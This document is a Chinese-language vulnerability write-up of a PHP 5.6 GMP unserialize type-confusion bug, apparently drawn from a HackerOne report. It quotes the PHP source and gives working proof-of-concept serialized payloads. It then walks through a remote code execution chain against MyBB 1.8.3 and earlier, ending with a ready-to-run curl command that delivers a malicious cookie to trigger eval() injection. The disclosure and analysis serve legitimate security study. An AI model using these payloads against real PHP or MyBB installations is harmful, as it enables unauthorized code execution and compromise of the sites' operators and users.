https://hackerone.com/reports/198734

概述

在使用精心编制的对象的__wakeup()魔术方法进行GMP反序列化时发现了一个类型混淆漏洞,该漏洞可被滥用来更新分配给已创建对象的任何属性,进而触发严重的安全问题。

受影响的版本

PHP 5.6 < 5.6.30

漏洞披露

此漏洞由Taoguang Chen披露

漏洞描述

gmp.c

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
    ...
    ALLOC_INIT_ZVAL(zv_ptr);
    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
        || Z_TYPE_P(zv_ptr) != IS_ARRAY
    ) {
        zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
        goto exit;
    }

    if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
        zend_hash_copy(
            zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
            (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
        );
    }

zend_object_handlers.c

ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
    zend_object *zobj;
    zobj = Z_OBJ_P(object);
    if (!zobj->properties) {
        rebuild_object_properties(zobj);
    }
    return zobj->properties;
}

攻击者可以将**object更改为整数类型或bool类型的ZVAL,然后攻击者将能够通过Z_OBJ_P访问存储在对象库中的任何对象。这意味着攻击者将能够通过zend_hash_copy()更新对象中的任何属性。从而引发了一系列安全问题。

下面这段代码可以验证这个漏洞

<?php

class obj
{
    var $ryat;

    function __wakeup()
    {
        $this->ryat = 1;
    }
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);

?>

预期结果:

object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}

实际结果:

object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
}

如何在真实环境中利用这个漏洞

php 5.6<=5.6.11中,DateInterval的__wakeup()使用convert_to_long()句柄并重新分配其属性,因此攻击者可以通过GMP的gmp_cast_object()将GMP对象转换成任何整数类型的ZVAL:

static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
    mpz_ptr gmpnum;
    switch (type) {
    ...
    case IS_LONG:
        gmpnum = GET_GMP_FROM_ZVAL(readobj);
        INIT_PZVAL(writeobj);
        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
        return SUCCESS;

漏洞利用代码

<?php

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

?>

当然,也可以套用精心编制的__wakeup()

<?php

function __wakeup()
{
    $this->ryat = (int) $this->ryat;
}

?>

MyBB <= 1.8.3

index.php

if(isset($mybb->cookies['mybb']['forumread']))
    {
        $forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
    }

MyBB<=1.8.3允许通过unserialize()反序列化cookie,因此攻击者能够更新$mybb或其他对象的属性,从而很容易导致安全问题,例如:XSS、SQL注入、RCE等
好消息是该漏洞已经在新版本得到了修复

PoC

MyBB <= 1.8.3 RCE漏洞

index.php

eval('$index = "'.$templates->get('index').'";');

MyBB在模板解析过程中始终使用eval()函数。
inc/class_templates.php

class templates
{
    ...
    public $cache = array();
    ...
    function get($title, $eslashes=1, $htmlcomments=1)
    {
        global $db, $theme, $mybb;
        ...
        $template = $this->cache[$title];
        ...
        return $template;
    }

如果我们可以控制$cache,我们就可以通过eval()函数注入php代码。
inc/init.php

$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
    case "sqlite":
        $db = new DB_SQLite;
        break;
    case "pgsql":
        $db = new DB_PgSQL;
        break;
    case "mysqli":
        $db = new DB_MySQLi;
        break;
    default:
        $db = new DB_MySQL;
}
...
$templates = new templates;

$templates对象在init.php中实例化,并且在此之前实例化了四个对象。这意味着$templates对象的句柄被设置为5并存储到对象存储中,因此我们可以访问$templates对象并通过在GMP反序列化期间将GMP对象转换为整型ZVAL(其值为5)来更新$cache属性。这也表明我们可以通过eval()函数注入php代码。
当MyBB<=1.8.3和PHP5.6<=5.6.11时,只需在命令行上使用curl即可触发RCE:

curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/

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